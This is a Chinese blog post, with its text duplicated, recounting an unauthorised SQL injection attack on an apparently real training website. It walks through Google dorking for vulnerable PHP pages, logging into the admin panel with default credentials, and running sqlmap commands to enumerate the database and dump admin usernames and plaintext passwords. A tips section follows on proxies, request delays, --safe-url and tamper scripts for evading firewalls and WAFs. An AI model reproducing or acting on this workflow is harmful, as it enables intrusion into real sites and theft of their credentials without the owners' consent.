【SqlMap】SQL注入之初体验
2017-10-07 14:15
393 查看
【SqlMap】SQL注入之初体验
一个管理培训网站,后台管理系统后面加个/admin就是,这么容易就找到了后台管理,果然容易黑。后台:
不过,后台管理UI有点丑。然后输入用户名/密码:admin/admin,就进去了。如下:
怎么搞de呢,首先我们使用一些扫描工具扫描可sql注入的站点(搜索关键字一般都是inurl:.php?这类)。记下你要攻击的站点,然后使用sqlmap:
sqlmap.py -u "http://[你的站点域名]/about.php?id=1*" --batch //*表示由sqlmap自动扫描注入点 --batch表示由sqlmap默认选择提示。如下:
可以看到:这网站使用mysql5.5以上版本,且存在布尔注入、报错注入、基于时间延迟注入和联合查询注入。神啊,天杀的程序员,代码写得贼jb6啊。
一步一步来,使用sqlmap:
sqlmap.py -u "http://[你的站点域名]/about.php?id=1*"
--batch --current-db //查看当前使用的数据库
数据库:sailodln_main,记住了。继续来:
sqlmap.py -u "http://[你的站点域名]/about.php?id=1*"
--batch -D sailodln_main --tables //查看当前数据库的所有表
一般管理员用户名密码可能在有admin字样的表中吧。
sqlmap.py -u "http://[你的站点域名]/about.php?id=1*"
--batch -D sailodln_main -T v_admin --columns //查看v_admin表的所有字段
把这两个字段的内容dump出excel:
sqlmap.py -u "http://[你的站点域名]/about.php?id=1*"
--batch -D sailodln_main -T v_admin -C name,pwd --dump
OK,拿到管理员账户和密码,而且居然也还是明文保存的,这程序员可以拿来祭天了吧,应该。
接下里,人道主义:
最后,说说关于sqlmap,我的一些总结:
1.使用代理(一般使用蓝灯代理80-浏览器访问,高级设置里可看到本地代理地址,并勾选代理全部流量):
--proxy=(http|https|socks4|socks5)://address:port --proxy-cred=username:password
2.忽略https:
--force-ssl
3.使用多线程加快速度:
--threads=0~10
4.伪静态页面
有些web服务器进行了url rewrite或者网站是伪静态的(*.html),无法直接提供测试参数,这样子可以使用*来代替要测试的参数。
5.请求延时
在注入过程中请求太频繁的话可能会被防火墙拦截,这时候--delay参数就起作用了。可以设定两次HTTP请求间的延时。有的web程序会在多次错误访问后屏蔽所有请求,这样就导致之后所有的测试无法进行,绕过这个策略可以使用--safe-url,每隔一段时间去访问一个正常的页面。
6.使用google搜索
sqlmap可以测试google搜索结果中的sql注入,很强大的功能吧。使用方法是参数-g。不过感觉实际使用中这个用的还是很少的。
7.POST注入
有两种方法来进行post注入,一种是使用--data参数,将post的key和value用类似GET方式来提交。二是使用-r参数,sqlmap读取用户抓到的POST请求包,来进行POST注入检测。
8.查看payload
使用-v 3就可以显示注入的payload,4,5,6还可以显示HTTP请求,HTTP响应头和页面。
9.Tamper
如"space2morehash.py" ,调用脚本对payload进行伪装,可用于防止waf等拦截。
注:基于时间延时的注入使用多线程也没用,并且获取很慢
重启电脑后,未完成的sessionsqlite将清除
代理和线程一般是互斥的,一个代理一般允许一个线程作为用户去访问它,如蓝灯。
一个管理培训网站,后台管理系统后面加个/admin就是,这么容易就找到了后台管理,果然容易黑。后台:
不过,后台管理UI有点丑。然后输入用户名/密码:admin/admin,就进去了。如下:
怎么搞de呢,首先我们使用一些扫描工具扫描可sql注入的站点(搜索关键字一般都是inurl:.php?这类)。记下你要攻击的站点,然后使用sqlmap:
sqlmap.py -u "http://[你的站点域名]/about.php?id=1*" --batch //*表示由sqlmap自动扫描注入点 --batch表示由sqlmap默认选择提示。如下:
可以看到:这网站使用mysql5.5以上版本,且存在布尔注入、报错注入、基于时间延迟注入和联合查询注入。神啊,天杀的程序员,代码写得贼jb6啊。
一步一步来,使用sqlmap:
sqlmap.py -u "http://[你的站点域名]/about.php?id=1*"
--batch --current-db //查看当前使用的数据库
数据库:sailodln_main,记住了。继续来:
sqlmap.py -u "http://[你的站点域名]/about.php?id=1*"
--batch -D sailodln_main --tables //查看当前数据库的所有表
一般管理员用户名密码可能在有admin字样的表中吧。
sqlmap.py -u "http://[你的站点域名]/about.php?id=1*"
--batch -D sailodln_main -T v_admin --columns //查看v_admin表的所有字段
把这两个字段的内容dump出excel:
sqlmap.py -u "http://[你的站点域名]/about.php?id=1*"
--batch -D sailodln_main -T v_admin -C name,pwd --dump
OK,拿到管理员账户和密码,而且居然也还是明文保存的,这程序员可以拿来祭天了吧,应该。
接下里,人道主义:
最后,说说关于sqlmap,我的一些总结:
1.使用代理(一般使用蓝灯代理80-浏览器访问,高级设置里可看到本地代理地址,并勾选代理全部流量):
--proxy=(http|https|socks4|socks5)://address:port --proxy-cred=username:password
2.忽略https:
--force-ssl
3.使用多线程加快速度:
--threads=0~10
4.伪静态页面
有些web服务器进行了url rewrite或者网站是伪静态的(*.html),无法直接提供测试参数,这样子可以使用*来代替要测试的参数。
5.请求延时
在注入过程中请求太频繁的话可能会被防火墙拦截,这时候--delay参数就起作用了。可以设定两次HTTP请求间的延时。有的web程序会在多次错误访问后屏蔽所有请求,这样就导致之后所有的测试无法进行,绕过这个策略可以使用--safe-url,每隔一段时间去访问一个正常的页面。
6.使用google搜索
sqlmap可以测试google搜索结果中的sql注入,很强大的功能吧。使用方法是参数-g。不过感觉实际使用中这个用的还是很少的。
7.POST注入
有两种方法来进行post注入,一种是使用--data参数,将post的key和value用类似GET方式来提交。二是使用-r参数,sqlmap读取用户抓到的POST请求包,来进行POST注入检测。
8.查看payload
使用-v 3就可以显示注入的payload,4,5,6还可以显示HTTP请求,HTTP响应头和页面。
9.Tamper
如"space2morehash.py" ,调用脚本对payload进行伪装,可用于防止waf等拦截。
注:基于时间延时的注入使用多线程也没用,并且获取很慢
重启电脑后,未完成的sessionsqlite将清除
代理和线程一般是互斥的,一个代理一般允许一个线程作为用户去访问它,如蓝灯。
相关文章推荐
- SQL注入之SQLmap入门
- SQL 注入 及SQLIer、SQLmap
- sql 注入神器sqlmap 源码分析之调试sqlmap
- sql注入在线检测(sqlmapapi)
- sqlmap之sql基础注入
- SQLiScanner:又一款基于SQLMAP和Charles的被动SQL 注入漏洞扫描工具
- SQL注入之SQLmap入门
- CTF实验吧-简单的sql注入3【sqlmap直接跑】
- 使用HttpModule实现sql防注入
- LINQ体验(14)——LINQ to SQL语句之存储过程
- SQL注入之手工注入sqli-labs-master
- 警惕采用编码过的SQL恶意注入
- asp.net的sql防注入 和去除html标记的函数
- python web 数据库sql注入
- LINQ体验(17)——LINQ to SQL语句之动态查询
- sqlmap注入语句整理
- 执行带参数的Sql语句(防止注入)
- 防止Sql注入字符串 , 变量赋值时防止为空和类型转换
- Demo_JDBC_实现一个用户登陆的功能并改进sql的注入问题
- 简单讲解SQL的注入以及防御